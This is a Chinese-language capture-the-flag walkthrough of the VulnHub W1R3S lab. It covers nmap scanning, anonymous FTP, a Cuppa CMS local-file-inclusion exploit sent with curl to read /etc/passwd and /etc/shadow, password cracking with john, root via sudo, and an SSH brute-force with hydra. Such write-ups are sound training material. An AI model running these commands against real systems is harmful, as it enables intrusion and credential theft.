红队打靶W1R3S打靶思路
靶机地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
#用tmux分屏命令行 tmux split-window 划分上下两个窗口 tmux split-window -h 划分左右两个窗口
#窗口的移动为 ctrl+b+方向键
主机发现:
将靶机在本地vm开启
kali里面得到虚拟机ip,扫描整个c段
sudo nmap -sn 192.168.80.128/24
-sn参数 只做ping扫描,不做端口扫描
使用对比方法,没开靶机之前扫一次,开启靶机后再扫一次,多出来的地址就是我们需要的靶机的地址。
得到靶机地址为192.168.80.182
端口扫描:
sudo nmap -min-rate 10000 192.168.80.182
-min-rate 为每次扫描至少等待的时间,单位为毫秒
得到四个开放的端口,分别是21/tcp ftp,22/tcp ssh,80/tcp http,3306/tcp mysql
接着进一步扫描这几个端口
sudo nmap sT sV -sC -O p21,22,80,3306 192.168.80.182
-sT参数 指定以TCP协议进行扫描 -sV参数 探测各服务的版本 -sC参数 用默认脚本进行扫描 -O探测操作系统版本 -p指定端口
可以看到ftp允许匿名登录,且给了我们三个文件夹,又可能有信息泄露,优先查看
ssh一般不优先考虑,80权重最重
查看各个端口的端口的可能可利用漏洞
sudo nmap --script=vuln -p21,80,22,3306 192.168.80.182
使用--script=vuln 可以扫描网站常见漏洞以及网页的目录结构
可以看到有DOS和一个Wordpress,DOS可以不考虑,Wordpress留意一下
我们还可以执行UDP扫描
sudo nmap -sU --top-ports 20 192.168.80.182
-sU表示UDP扫描 --top-ports 20 表示对top20的端口进行扫描
看到前二十个端口都是开放或者被过滤状态,无明确开放端口,可以暂时不考虑
FTP渗透:
测试FTP服务
ftp 192.168.80.182
name为anonymous password为空
用binary指令使下载的文件可读
ls可以看到有三个文件夹,把这些文件全部下载下来
先进入content 输入mget *.txt
退出conten文件夹并进入第二个文件夹,下载文件
下载第三个文件夹内容
没有其他内容则quit退出
读取所有下载下来的文件内容
cat *.txt
第一句话为w1r3s公司的新的ftp服务
第二句话01ec2d8fc11c493b25029fb1f47f39ce
可以去网上搜索,大概率是MD5
http://hashes.com 可以解MD5
看起来没什么用
下一串SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
一眼应该是base-64
用kali解码base64
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
It is easy, but not that easy..
看起来也没什么用
接下来是员工列表
Naomi.W - Manager Hector.A - IT Dept Joseph.G - Web Design Albert.O - Web Design Gina.L - Inventory Rico.D - Human Resources
可能有用特别是前两个
最后两句话翻转了
借助网络工具 Upside Down Text | Flip Text, Type Upside Down, or Backwards Text
对两句话进行正常转化
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
ı don't thınk thıs ıs the way to root!
....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
we have a ןot of work to do‘ stop pןayıng around˙˙˙˙
看起来也没啥用
综合起来FTP没有特别大的信息
Mysql试探:
尝试链接mysql服务
mysql -h 192.168.80.182 -u root -p
随便输入一个密码,被告知不允许接入Mysql服务
Mysql没有什么说法
Web渗透:
打开浏览器查看web服务
可以看到是apache服务,查看源码也是没有什么有价值的信息
扫一下目录
sudo gobuster dir -u http://192.168.80.182 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
--wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt为kali里面自带的字典
只有http://192.168.80.182/administrator/
可以进入
该页面是cuppa CMS内容管理系统的安装界面
在渗透测试时此交互状态的进行必须谨慎,考虑会不会影响服务器环境,可能会造成不可逆后果。
一路next
管理员用户创建失败
查看源码并没有信息泄露,看不出版本信息
我们试着搜索cuppa cms存在的漏洞
searchsploit cuppa cms
得到一条,下载此文件
searchsploit cuppa -m 25971
读取此文件
exp有两条,一个包含远程文件,一个包含本地文件
可以试试包含本地文件
http://192.168.80.182/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
并没有此页面
我们可以猜测不是在cuppa目录下,而是administrator目录下
有反应但是没有读取出数据
可能是传参的问题
去github官网的cuppa cms查看源代码可以发现参数是post传递的
通过命令行工具构造payload
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.80.182/administrator/alerts/alertConfigField.php
已经列出了passwd的内容,且密码都是x,说明密码是以hash的方式存在shadow文件中
尝试读取/shadow的内容
www-data root w1r3 都有hash值
将密码存到shadow.hash中用john破解
破解出其中两个密码
试着登录w1r3s用户
登陆成功
试试常用指令,并查询当前用户的权限
拥有全部权限
提权:
有所有权限就很好提权
sudo /bin/bash
打开目录下的flag.txt
完成挑战
彩蛋:
一般来说不会考虑22端口,但是这个靶机我们可以暴力破解ssh
先构造用户名
vim user.list
w1r3s root admin
hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.80.182 -t 4
如果没有字典则需要像我一样解压
最后爆出来了w1r3s的密码,接下来和前面一样操作即可拿到flag.